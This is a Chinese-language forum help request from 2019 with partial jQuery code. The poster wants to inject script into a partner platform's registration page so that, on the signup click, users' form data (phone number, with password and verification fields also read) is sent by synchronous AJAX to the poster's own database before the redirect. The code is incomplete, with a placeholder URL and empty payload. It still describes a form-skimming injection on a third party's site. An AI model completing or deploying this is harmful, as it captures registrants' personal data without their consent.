1.需求,js 注入,別的平臺(tái)到我們這里推廣,從我們平臺(tái)鏈接過去注冊(cè)的用戶我們就能獲利,所以我要在用戶點(diǎn)擊點(diǎn)擊注冊(cè)的時(shí)候,在他們頁(yè)面的js里加入我們自己的js,但是只能加到結(jié)尾;2.問題:當(dāng)點(diǎn)擊事件的時(shí)候,我獲取表單的信息,并把數(shù)據(jù)通過ajax傳入到自己的數(shù)據(jù)庫(kù),但是js是單線程的,他們的點(diǎn)擊事件觸發(fā)之后,就跳轉(zhuǎn)鏈接了,我們注入的js 就不會(huì)生效;3.需要注入的地址:https://promotion.crfchina.co...4.自己的注入代碼let TYPE = 1;let APPID = 1000000;let token = document.getElementsByTagName("body")[0].getAttribute("datetoken");let channelName = document.title;let applyUserName = 0;let applyIdCard = 0;/** * 提交信息 */$('.btn_next').click(() => { var applyUserMobile = $('.phone').val(); console.log(applyUserMobile) if (checkpage()) { console.log(2) $.ajax({ async: false, type: "GET", dataType: 'json', url: 'URL', beforeSend: function (request) { request.setRequestHeader("appId", APPID); request.setRequestHeader("token", 'token'); }, data: '', timeout: 3000, success: function (msg) { }, error: function (e) { } }); }})/** * 驗(yàn)證 */function checkpage() { let telValue = $(".phone").val(); let passValue = $(".password").val(); let codeInput1 = $(".verification").val(); let smsCode = $.trim(codeInput1); if (!telValue) { showPoint('請(qǐng)輸入手機(jī)號(hào)'); return; } if (!passValue) { showPoint('請(qǐng)輸入密碼'); return; } var checkTel = checkPhone(telValue); if (!checkTel) { return; } var checkPass = checkWord(passValue); if (!checkPass) { return; } if (!smsCode) { showPoint('請(qǐng)輸入驗(yàn)證碼'); return; } var regFirm; if ($(".choose").is(':checked') == true) { regFirm = 1; } else { regFirm = 0; showPoint("請(qǐng)選擇協(xié)議"); return; }}
js 注入問題,來個(gè)大牛
收到一只叮咚
2019-03-30 18:14:42